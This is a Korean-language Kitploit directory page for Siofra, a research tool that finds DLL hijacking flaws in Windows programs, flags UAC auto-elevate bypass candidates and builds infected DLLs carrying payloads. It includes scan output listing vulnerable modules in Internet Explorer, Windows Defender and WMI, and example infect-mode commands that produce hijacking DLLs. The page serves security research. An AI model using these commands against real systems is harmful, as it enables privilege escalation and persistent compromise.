Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
siofra — Windows PE 로더를 시뮬레이션하여 DLL 하이재킹 취약점을 식별하고, 셸코드 페이로드를 탑재한 무기화된 DLL을 생성하며, UAC 자동 승격 우회를 탐지합니다. | Kitploit
도구/GitHubGitHub/cybereason/siofra
Privilege EscalationVulnerability ScannersPayload GenerationVulnerability AnalysisBinary AnalysisShellcode GenerationBinary Exploitation
GitHubcybereason/siofra

siofra

Windows PE 로더를 시뮬레이션하여 DLL 하이재킹 취약점을 식별하고, 셸코드 페이로드를 탑재한 무기화된 DLL을 생성하며, UAC 자동 승격 우회를 탐지합니다.

저장소 보기
5118568년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

요약

Siofra는 Windows 프로그램에서 DLL 하이재킹 취약점을 식별하고 악용하도록 설계된 도구입니다. Windows 로더를 시뮬레이션하여 디스크에 있는 PE 또는 활성 프로세스에 해당하는 메모리의 이미지 파일의 모든 종속성(및 해당 취약점)을 파악할 수 있습니다. 더 중요한 것은, 이 도구는 동적 셸코드 생성을 통한 PE 감염을 통해 이러한 유형의 취약점을 악용하는 DLL을 쉽게 생성할 수 있다는 것입니다. 이러한 감염된 DLL은 DLL의 코드(DllMain, 내보낸 함수)와 리소스를 유지하므로 DLL을 로드하는 응용 프로그램의 기능을 원활하게 보존하는 동시에 연구원이 실행 파일 페이로드를 별도의 프로세스로 실행하거나 대상에 모듈로 로드되도록 지정할 수 있습니다. 또한 이 도구에는 UAC 우회 취약점을 스캔하기 위해 UAC 자동 승격 기준과 앞서 언급한 기능을 결합하는 자동화된 방법이 포함되어 있습니다.

취약점

현재 이 도구가 노출하는 취약점은 매우 많습니다. 이 도구를 테스트하는 동안 테스트한 수백 개의 응용 프로그램 중 취약하지 않은 응용 프로그램은 몇 개에 불과했습니다. 이러한 취약점은 SafeDllSearchMode에도 불구하고 악용될 수 있습니다. "현재 디렉터리"(SafeDllSearchMode로 수정됨)와 "응용 프로그램 디렉터리"(.exe 자체가 포함된 폴더)를 혼동하는 데서 일반적인 오해가 발생합니다. 현재 Windows 프로그램에 존재하는 대부분의 DLL 하이재킹 취약점은 Windows 검색 순서에서 첫 번째로 오는 응용 프로그램 디렉터리에서 비롯됩니다. 몇 가지 주요 사항은 도구의 스캐너가 생성한 출력에서 아래에 나열되어 있습니다. 이러한 취약점이 마지막으로 테스트된 시기는 2017년 7월 중순입니다.

  • 응용 프로그램 이름: Internet Explorer
  • 테스트 OS: Windows 10 x64 Home/Pro
  • 명령/출력:

Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" --enum-dependency --dll-hijack

======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ======== iexplore.exe USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-core-privateprofile-l1-1-1.dll [API set] kernel32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] msvcrt.dll [KnownDLL] api-ms-win-downlevel-shell32-l1-1-0.dll [API set] shcore.dll [KnownDLL] RPCRT4.dll [KnownDLL] combase.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] iertutil.dll [!]

[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll (real path: C:\WINDOWS\system32\iertutil.dll)

  • 응용 프로그램 이름: Windows Defender
  • 테스트 OS: Windows 10 x64 Home/Pro
  • 명령/출력:

Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" --enum-dependency --dll-hijack

======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ======== MpCmdRun.exe msvcrt.dll [KnownDLL] KERNEL32.dll [KnownDLL] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] OLE32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] SspiCli.dll [!] mpclient.dll [!] CRYPT32.dll [Base] MSASN1.dll [Base] WINTRUST.dll [Base]

[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll (real path: C:\WINDOWS\system32\SspiCli.dll)

  • 응용 프로그램 이름: WMI
  • 테스트 OS: Windows 10 x64 Home/Pro
  • 명령/출력:

Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency --dll-hijack

======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ======== wmiprvse.exe msvcrt.dll [KnownDLL] FastProx.dll [!] wbemcomn.dll [!] bcrypt.dll [!] WS2_32.dll [KnownDLL] api-ms-win-eventing-obsolete-l1-1-0.dll [API set] sechost.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] NCObjAPI.DLL [!]

[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real path: C:\WINDOWS\system32\wbemcomn.dll) [!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll) [!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real path: C:\WINDOWS\system32\NCObjAPI.DLL)

  • 응용 프로그램 이름: Windows Search Indexer/Search Protocol Host
  • 테스트 OS: Windows 10 x64 Home/Pro
  • 명령/출력:

Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency --dll-hijack --explicit-loadlibrary

======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ======== SearchProtocolHost.exe msvcrt.dll [KnownDLL] TQUERY.DLL [!] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] bcryptPrimitives.dll [Base] cryptdll.dll [!] api-ms-win-security-lsalookup-l2-1-1.dll [API set] advapi32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] api-ms-win-shell-namespace-l1-1-0.dll [API set] windows.storage.dll [Base] api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set] shlwapi.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-appmodel-state-l1-2-0.dll [API set] kernel.appcore.dll [Base] api-ms-win-shcore-path-l1-1-0.dll [API set] shcore.dll [KnownDLL] api-ms-win-power-base-l1-1-0.dll [API set] powrprof.dll [Base] profapi.dll [Base] msfte.dll [Potential explicit Unicode] [!] msTracer.dll [Potential explicit Unicode] [!] Msidle.dll [Potential explicit Unicode] [!] winhttp.dll [Potential explicit Unicode] [!]

[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown) [!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: Unknown)

기능

이 도구의 기능은 도구의 실행 모드 각각에 해당하는 3개의 별도 범주로 나눌 수 있습니다.

감염 모드

감염 모드에서 이 도구는 32비트 및 64비트 DLL 파일의 감염된 복사본을 생성할 수 있습니다. 이러한 감염된 파일은 프로세스 초기화 중에 로드될 때 대상 응용 프로그램의 실행 흐름을 하이재킹하여 대상 응용 프로그램 진입점이 실행되기 전에 페이로드 DLL을 로드하거나 페이로드 실행 파일을 실행할 수 있습니다.

파일 스캔 모드

파일 스캔 모드에서 도구에는 실행 파일 경로 또는 폴더(재귀적으로 실행 파일을 검색하며, 선택적으로 재귀 사용)가 제공될 수 있으며, PE 가져오기, 지연 로드 가져오기, API set, 어셈블리 종속성 및 명시적으로 로드된 라이브러리를 재귀적으로 열거하고 처리하여 런타임 프로세스 초기화 중 각 항목이 로드될 경로를 결정합니다. 이 정보를 통해 도구는 하이재킹에 취약한 모듈을 식별할 수 있습니다. PE 처리 및 로더 시뮬레이션 중 도구는 다음을 처리할 수 있습니다. 1. 기본 PE 가져오기 섹션을 사용하여 가져온 모듈. 2. 지연 로드를 통해 가져온 모듈. 3. WinSxS 어셈블리 종속성 해결(PE 매니페스트 리소스를 구문 분석하고 어셈블리 종속성 ID를 추출하며 사용자 지정 구현을 사용하여 WinSxS 모듈 경로를 식별). 4. 런타임에 LoadLibrary를 통해 가져온 명시적으로 로드된 모듈. 5. 위의 모든 가져오기 유형의 API set 해석. 이는 ApiSetSchema.dll에 있는 문서화되지 않은 데이터 구조에 대한 사용자 지정 파서 구현을 통해 이루어집니다(버전 2, 4 및 6만 테스트되었습니다). 6. 이름으로 특정 가져온 모듈 검색. 7. UAC 우회 공격에 활용할 수 있는 Windows 구성 요소 식별(UAC 자동 승격 기준이 지정된 대상 PE에 자동으로 적용된 다음, 존재하는 경우 하이재킹 공격과 함께 사용). 8. 다음 기준에 따라 취약하지 않은 모듈 종속성을 자동으로 감지하고 필터링: * KnownDLLs * 면제("Base") DLL 상태. Kernelbase.dll, ntdll.dll 등. * 매니페스트 재정의 보안 메커니즘(sysprep.exe에서 Microsoft가 사용).

메모리 스캔 모드

메모리 스캔 모드에서 도구는 로컬 프로세스 이름/ID를 열거하거나 스캔할 프로세스 ID를 지정받을 수 있습니다. 디스크에서 지정된 PID에 해당하는 이미지 파일을 구문 분석하는 대신 도구는 프로세스에 현재 로드된 모듈을 열거하고 그중 하이재킹에 취약한 모듈을 식별합니다. 이는 디스크의 실행 파일이 패킹/난독화되어 PE 헤더 구문 분석을 통해 가져오기를 식별할 수 없는 경우에 유용합니다.

사용법

도구 사용 정보를 표시하려면 매개변수 없이 실행하기만 하면 됩니다(출력은 아래 참조). 대상이 32비트 PE인지 64비트 PE인지에 따라 원하는 대상에 적절한 컴파일 버전의 도구(32비트 또는 64비트)를 사용하는 것이 매우 중요합니다. 마찬가지로 32비트 버전의 도구는 32비트 프로세스만 열거 및/또는 대상으로 삼을 수 있으며(x64 OS의 Wow64) 64비트 버전은 64비트 프로세스만 열거 및/또는 대상으로 삼을 수 있습니다. 이 원칙은 스캔(Siofra64.exe는 32비트 PE를 건너뛰고 Siofra32.exe는 64비트 PE를 건너뜀)과 PE 감염 모두에 적용됩니다. Siofra32.exe는 32비트 DLL을 감염시키는 데 사용해야 하고 Siofra64.exe는 64비트 DLL을 감염시키는 데 사용해야 합니다.

x64 시스템에서 32비트 버전의 도구를 실행하면 Wow64 경로 리디렉션이 도구에 의해 명시적으로 비활성화됩니다. 즉, \Windows\System32\notepad.exe를 대상으로 지정하면 64비트 PE가 되므로 \Windows\Syswow64\notepad.exe를 대신 사용해야 합니다. 마찬가지로 \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe를 대상으로 지정하면 64비트 PE가 되므로 \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe를 대신 사용해야 합니다.

Siofra version 1.13 usage: Siofra32.exe --mode [Supported modes: "file-scan", "mem-scan" and "infect"] -v [Optional. Output verbosity level] Verbosity levels: 0 - No output 1 - Only critical success/failure status (default) 2 - Additional status details for success/failure status, including discarded PEs 3 - Everything File scan mode: -f [File or directory to scan] -r [Optional. Recursive scan] --signed [Optional. Process only signed binaries] --delayload [Optional. Include delayload imports in dependency list] --explicit-loadlibrary [Optional. Include potentially explicit imports in dependency list (these are *.dll strings which may have been called via LoadLibrary(Ex)A/W] --auto-elevate [Optional. Scan only auto-elevate binaries] Memory scan mode: --pid [Target process ID to scan. When not specified, a list of either 32 or 64-bit process names/PIDs will be enumerated (corresponding to either the 32 or 64-bit version of this tool)] Any scan mode: --enum-dependency [Enumerate dependencies] --show-unmapped-apiset [Optional. Include API sets which failed to map to a module from output (ignored by default)] --dll-hijack [Enumerate DLL hijacking vulns] --find-module [Optional. Scan dependencies for a specific module. Note that this excludes KnownDLLs] Infect mode: -f [DLL file to infect] -o [Output file] --payload-path [Path of DLL to be loaded into infected DLL at runtime, or path of executable to be launched at runtime] --payload-type [The type of payload specified in the parasite payload path. This can be "process" (generally indicating a exe) or "library" (generally indicating a DLL)]

예제

  1. PE 헤더를 통해 표준 또는 지연 로드 가져오기를 사용하여 DLL 하이재킹에 취약한 32비트 프로그램을 찾기 위해 전체 홈 드라이브를 스캔합니다.

    Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload

  2. x64 버전 Windows의 Windows Defender 응용 프로그램 폴더에서 PE 헤더의 표준 가져오기 테이블을 통해 로드되는 취약한 모듈을 스캔합니다.

    Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency --dll-hijack

  3. x64 버전 Windows에서 32비트 Java Update Scheduler 프로그램의 알려진 모든 채널(표준 또는 지연 로드 가져오기, WinSxS, LoadLibrary)을 통해 로드되는 취약한 모듈을 스캔합니다.

    Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary

  4. Windows 폴더(및 모든 하위 폴더)에서 UAC 우회 공격에 사용될 수 있는 64비트 프로그램의 취약한 모듈(PE 헤더의 표준 가져오기 테이블을 통해 가져온 모듈)을 스캔합니다(Microsoft가 자동 승격 매니페스트로 서명).

    Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack --auto-elevate --signed

  5. 취약한 프로그램이 프로세스 초기화 중에 로드할 때 새 메모장 프로세스를 실행하는 임플란트로 WININET.dll의 32비트 복사본(\Windows\SysWOW64\WININET.dll에서 .\WININET_original.dll로 복사됨)을 감염시킵니다. 이 DLL의 감염된 복사본을 단순히 로드하는 것(예: LoadLibrary를 통해)은 페이로드를 트리거하지 않는다는 점에 유의하는 것이 중요합니다. 감염된 DLL은 호스트 프로세스의 표준 가져오기 섹션을 통해 로드되는 취약한 모듈의 컨텍스트에서만 작동하도록 설계되었습니다.

    Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type process --payload-path c:\windows\system32\notepad.exe

  6. C:\Payload.dll에 저장된 가상의 페이로드 DLL을 로드하는 임플란트로 USERENV.dll의 64비트 복사본(\Windows\System32\USERENV.dll에서 .\USERENV_original.dll로 복사됨)을 감염시킵니다. 64비트 프로세스가 로드하는 모든 DLL은 64비트 DLL이어야 하고 32비트 프로세스가 로드하는 모든 DLL은 32비트 DLL이어야 한다는 점에 유의하는 것이 중요합니다. 따라서 이 가상 시나리오에서 Payload.dll은 USERENV.dll의 임플란트가 성공적으로 로드하려면 64비트 PE 파일이어야 합니다.

    Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type library --payload-path "C:\Payload.dll"

향후 개선 사항

  • 도구의 32비트 및 64비트 버전을 단일 실행 파일로 결합.
  • LoadLibrary를 통해 명시적으로 로드되거나 지연된 가져오기를 통해 로드되는 감염된 DLL 파일 내에서 DLL/실행 파일 페이로드를 성공적으로 로드할 수 있는 PE 감염 기능.
  • 모든 API set 버전 지원.

소스 코드

저는 다른 보안 연구원들이 이 프로젝트의 기술적 세부 사항을 이해하는 데 도움이 되도록 이 도구의 일부를 오픈 소스로 공개하기로 결정했습니다. 구체적으로, 64비트 PE DLL 감염 시 "process" 페이로드 유형을 지정할 때 사용되는 64비트 임플란트 셸코드 중 하나의 어셈블러 소스 코드를 제공했습니다.

Windows 로더/검색 순서, UAC, WinSxS 등과 관련된 도구의 다른 기술적 측면 및 OS 세부 사항에 대한 자세한 내용은 이 프로젝트의 PDF에서 확인할 수 있습니다.

라이선스

Siofra는 GPL 3 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE.MD를 참조하십시오.

연락처

Forrest Williams - [email protected] / [email protected]

도구 다운로드